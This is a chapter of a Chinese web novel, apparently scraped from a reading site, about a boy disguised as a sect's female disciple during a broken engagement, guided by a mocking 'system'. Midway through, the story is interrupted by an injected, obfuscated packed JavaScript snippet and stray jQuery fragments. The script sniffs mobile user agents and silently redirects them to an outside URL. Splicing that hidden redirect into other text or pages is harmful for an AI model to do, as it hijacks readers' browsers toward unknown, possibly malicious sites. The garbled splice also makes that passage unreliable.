谢灵珏没听出系统的嘲讽。
他长这么大以来，第一次羞辱人，能信手拈来已经很厉害了。
凌霄宗弟子欣慰地看着小师妹。
对对对，就是这样。
再多说一些。
却见谢灵珏垂下眼睫，不欲多说，似有些不忍。
凌霄宗弟子：唉，小师妹面冷心善。
可不说得决绝一些，哪能断了叶凌戍的念想？
还是得他们这些当师兄师姐的来，坚决不能让小师妹为其断送一生。
梁砚安轻咳一声：“叶凌戍，你现在只是个凡人身躯。弄死你，就和弄死一只蝼蚁一样容易。但凡你有自知之明，就该主动送还婚书。”
姚师姐也跟着附和，“对，识相就赶紧把婚书交回来。”
“可否听我一言？”说话的是刚才匆匆赶来的弟子，他是太虚剑宗掌门的亲传弟子，排行第二，被称为二师兄。
二师兄态度谦逊、温文尔雅，但梁砚安不吃这一套。他眉梢微挑，示意对方有屁快放。
“婚约是太虚剑宗的前掌门和令掌门所定下，这等大事，是不是也该由掌门来……”
梁砚宗轻哼一声，“怎么？难道要我去刨你们前掌门的坟？”
太虚剑宗的弟子大怒：“你们别太过分，闹也不有度。怎敢对我们前掌门不敬。”
“砚安。”一直默不作声的大师兄宋鹤归开口，语气带了几分斥责，却是维护之意，“前掌门高风亮节、泽被苍生，不许无礼。”
梁砚安也自知过了些，垂眸不语。他悄悄朝小师妹看了一眼，只见小师妹如傲雪寒梅独立一旁。
他顿觉叶凌戍罪该万死，一个废人还敢觊觎小师妹。
殊不知，谢灵珏努力绷着一张脸，看似面无表情，实则已在吃瓜看戏，完全没有自己瓜主之一的意识。
他的视线转向另一名瓜主叶凌戍，此人神色漠然，好似被退婚的不是他，而是无关紧要的人。
谢灵珏赞叹：哇！不愧龙傲天，年少成名，意气风发，如今受此打击，竟还如此隐忍。
【……】
宋鹤归语气从容，却不容置疑，“我师弟关心则乱，无意冒犯前掌门，我代他向前掌门致歉。但今日，我小师妹和令师弟的婚事，是必须要说清的。”
“我理解。”太虚剑宗的二师兄扬了下唇，笑容温和，“只是这并不是一纸婚约的草率决定，是落了天地印的。”
“婚书不在我这。”叶凌戍出声打断。
梁砚安半信半疑，拧着眉问，“叶凌戍，你该不会是不想退婚，故意拖延时间吧？这婚书不在你这能在哪？”
“我小师妹容貌无人能及，又是如此天骄，倾慕她是人之常情。但人贵在有自知之明。你该清楚，以你现在的情况，只会累及我师妹。你若干脆些，我们凌霄宗愿意给你补偿，灵丹补药……忘了，你用不上。”
梁砚安这句话倒不是故意羞辱叶凌戍，只是单纯不过脑子。他没什么愧疚感地接上前话。
“你现在连自保能力都没有，不如我送你些法宝护身，或者你想要灵石也行，开个价。”
谢灵珏顿时幻视出古早偶像剧的情节，男主的母亲拿着一张支票递给小白花女主，居高临下地说：“拿着钱，离开我儿子。”
“恶婆婆”梁砚安同样居高临下地看向“小白花女主”叶凌戍。
然而，叶小白花不为所动，只沉默地看着他。
谢灵珏：“？”
看他干嘛？
梁砚安已经说得如此过分了，叶凌戍但凡有点血性，就不该沉默。
来了，来了，终于要来了，那句经典台词要出现了！
谢灵珏期待地望着叶凌戍，眼含鼓励。
快说啊，说莫欺少年穷。
早点说完早点散场，他还急着赶下一场。
几瞬后，气氛如死了一般沉寂。
谢灵珏：？
叶凌戍：？
【噗。】
谢灵珏没等到经典语录，他木着脸开嘲：隐忍哥当什么龙傲天。
【没事的啦，第一场算你过了，我这个统很讲道理的。】
忽然，一阵寒风刮来，带着雪花纷纷扬扬落下。
“诸位小友，可否听我一言。”
太虚剑宗的弟子们自觉让开一条道，只见叶掌门缓步走来。
“掌门。”
“掌门。”
宋鹤归双手抱拳，“叶掌门。”
叶掌门身着玄色道袍，身上没有炼虚期修士的威压，他和颜悦色道：
“鹤归啊，许久不见，修为倒是又精进了。听闻你师尊闭关，你们来这的事，他不知道吧？”
宋鹤归淡笑，“劳叶掌门挂怀。”
他没有正面回答问题，叶掌门倏地一笑，“我知晓，你们凌霄宗上下齐心，作为大师兄你自是应当照拂师弟师妹。只不过……”
叶掌门话音一转。
“我虽是太虚剑宗的掌门，又是凌戍的亲叔父，但这婚事也非我一人能左右。你当知道这婚约意味着什么。”
宋鹤归神色微滞，他当然知道这婚约是为什么。
明面上是延续两派交好，实际上是因为小师妹是体质特殊的玲珑心，而叶凌戍是天生道体。
拥有玲珑心，修行便是如鱼得水，天生道体更是如有神助。
不仅如此，天生道体还可吸天地之灵气，令阴邪之物避而不及，而玲珑心则相反。
随着小师妹修为的增长，玲珑心将难以遮掩，且修为越高，越遭阴邪之物觊觎。
当然，小师妹是玲珑心的消息，仅有他和师尊，以及已故的叶母知晓。
就连叶掌门也不知。
叶掌门长叹一声，“凌戍是个好孩子，若他没出事，和灵珏本该是天作之合。然，天不遂人愿，哪怕凌戍是我的亲侄子，我也知晓他如今配不上灵珏。”
凌霄宗的弟子诧异地看着叶掌门，没想到他还会说大实话。
叶掌门：“不如这样吧。”
凌霄宗弟子顿时露出“果然如此”的神情，就知道叶掌门不会轻易解除婚约。
叶掌门招招手，“云泽，你来。”
“这是我的二徒弟叶云泽，不是我自夸，云泽他待人真诚，天赋也极高，相貌不差……”叶掌门看向谢灵珏，笑着将叶云泽往前推了推。
“灵珏刚才也和云泽打过照面了，要我说你们年轻人多接触接触。这婚约事关两大宗门，又有其他门派见证，还盖了天地印，与其草率解除，不如换个人选，你们觉得如何？”
凌霄宗弟子脸色一沉，没想到叶掌门打的是这个主意。
最气的当属梁砚安，好不容易能赶走一个废材，又眼巴巴凑上来一只癞蛤蟆。
没给他发作的机会，姚师姐扬唇微笑，“我觉得叶掌门的提议甚好。”
凌霄宗弟子大惊失色，“姚师姐。”
姚师姐给了他们一个稍安勿躁的眼神，他迎上掌门笑意盈盈的视线。
“贵宗门换了人，这婚书就不是原来的婚书了。我知叶掌门是希望两派继续交好，既如此，我们凌霄宗也换个人好了，叶掌门不会有意见吧？”
其他人：！！！？
“这不……”
叶掌门微蹙眉，姚师姐笑着打断。
“总不能只许你们太虚剑宗换人，不许我们凌霄宗换人吧？况且叶师兄也二十七八了，过完年就三十要奔四十了，我小师妹才刚满十八，年轻人和中年人哪能聊得来，叶师兄也该嫌我小师妹稚气未脱。”
凌霄宗弟子：太棒了，姚师姐。
他们恨不得跳起来高呼，碍于在对方地盘上，只能低调的击掌庆祝。
叶掌门脸色难看到极点，却还得端着掌门的架子，不能表现得太过失态。
谢灵珏则对这峰回路转的结果并不意外，凌霄宗是换了人，但叶掌门可不愿让自己的爱徒娶慕二小姐，最终还是龙傲天娶的慕二小姐。
原剧情里，慕二小姐不甘替嫁龙傲天，成天羞辱、折磨废材夫君。
先是被退婚，又是被抢婚，叶凌戍这个当事人竟然一言不发，连眼神波动都没有。
不愧是隐忍哥。
谢灵珏收回打量的目光，殊不知在他收回视线后，叶凌戍的目光落到他身上。
最终凌霄宗大获全胜，欢天喜地离开了。
叶凌戍盯着谢灵珏远去的背影，眸光微沉。
“凌戍。”
叶掌门打断了他的探究。
“凌戍，叔父是为了宗门着想。这事我会再找时机同凌霄宗掌门商议，该你的还是你的。出了这事，叔父也很难过，但你放心，叔父待你肯定和从前一样，你在宗门安心养着，不会有人轻视你的。”
冠冕堂皇的漂亮话惹得众弟子们感动，唯有叶凌戍连眼神都没多给。
待那道纤瘦雪白的身影彻底看不见，叶凌戍果断转身离开，当即惹来众怒。
“叶凌戍，你什么态度？”
“你修为尽废那是你能力不足还硬要逞强，和掌门耍什么脾气，你……”
“好了，好了。别说了。”
“他都废了，你和他争什么？”
***
另一边，凌霄宗。
“姚清越，你疯了？”
一柄碧绿色的昆仑扇飞来，带着凌厉的寒风。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109927|195850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“姚师姐，小心。”众人惊呼一声。
姚清越面不改色，微微侧身，修长的指节握住了冰冷的扇骨。
“楚霜回，法器拿不稳可以丢掉，再有下次我可就不客气了。”
“你什么时候客气过了？小师妹不能嫁过去，那其他姐妹就活该了吗？”
姚清越哼笑一声，“你这消息倒是很灵通。”
“若是不灵通，哪知道你出卖其他师姐妹。”
“胡闹。”一道威严中带着几分苍老的嗓音响起。
“大长老。”
“大长老。”
大长老似有几分纳闷，“鹤归，你怎么也由着清越胡来。”
宋鹤归淡笑：“大长老，这不是您默许的？”
掌门师尊闭关，几位长老至始至终都没有露过面，这也就意味着默许他们随便折腾。
大长老气得用棍子敲了敲地板，“你……要是退婚便罢了，这换婚又当叫谁去？”
“大长老，您消消气。”姚清越安抚他，“我又不是梁砚安，哪里会胡来，您对我就这么不信任啊？”
每次出事，总是第一个被问责的梁砚安正沉浸在这次没他事的喜悦中，猝不及防就被拉入战局。
梁砚安：“？”
楚霜回：“梁砚安只是脑子不好，你，你这是纯坏。”
梁砚安：“？”
谁脑子不好使了！！？
姚清越好笑，“平日扯扯头花也就罢了，我何至于将自家姐妹往火坑里推？”
楚霜回一怔，“那你答应得如此爽快？”
大长老朝姚清越投来了不满的注视，“清越，你别卖关子了。”
“因为，我有一个合适的人选，并且她一定会答应。”
众人异口同声：“谁？”
“自然是慕家二小姐了。”
“她倒是又蠢又坏。”楚霜回思考可行性，“但她不是凌霄宗弟子。”
“可以是。”姚清霜语气坚定。
楚霜回顿时于心不忍，“叶凌戍罪不至此吧。”
其他人：“……”
姚清霜一副无所谓的口吻，“那也不是我能改变的。叶掌门不肯松口，况且叶凌戍在现场，他自己不拒绝的。”
“再说了，叶凌戍怎么样和我有什么关系，只要小师妹不入虎口不就行了？”
众人你一句我一句，话题逐渐飘远了。
谢灵珏听得津津有味，可右眼皮不知为何跳了又跳。
古话说，左眼皮跳财，右眼跳灾。总感觉有什么不好的事情要发生。
晚上。
谢灵珏结束了一天的cosplay。
他关上房门，背靠着房门，缓缓吐了口气，终于不用维持小师妹清冷淡漠的人设了。
天知道，他有好几次想加入师姐们的茶话会，凭借超强自制力，硬生生忍住了。
【紧急通知，出现了一个小小的bug。】
谢灵珏：“……”
【放心，不会影响你完成任务后的奖励。】
谢灵珏：呵。
【我用我的统格和你担保，这绝对是最后一次失误。】
谢灵珏满脸写着不信，但也无法改变，他木着脸问：“什么bug？”
“慕容嫣没了。”
谢灵珏：“？”
“没了是什么意思？”
【就是不存在了。】
谢灵珏眉梢微挑，心里那种不好的预感越来越强烈。他倔强辩驳，“和我说做什么，又不是我让她不存在的。”
【但你可以让她存在。】
谢灵珏：“？”
【我的意思是，女装只有零次和无数次，你肯定不介意顺便cos一下慕容嫣吧？】
谢灵珏：“……”
“介意，且特别介意。”
【现在没有慕容嫣，剧情也进行不下去，你难道不想早日和家人朋友团聚吗？你难道不想拥有像现在这般健康无病痛的身体吗？你难道不想……】
“停停停。”谢灵珏打断系统絮絮叨叨的话，“所以，你是打算让我cos慕容嫣，替嫁龙傲天？”
【是的，珏珏你的理解能力真的超级棒喔。】
谢灵珏：呵。
【我保证这绝对是最后一次。】
“你还是别保证了。”谢灵珏冷哼。
忽而，他想到什么，漂亮的瞳眸如春色绽放，映出浅浅的笑意。
“你承认你不是一般的变态了？”
【？】
“别装了。”谢灵珏一副早已看透的表情，他冷冷一笑：
“你就是想让我和我的嫡亲哥哥乱那什么轮。”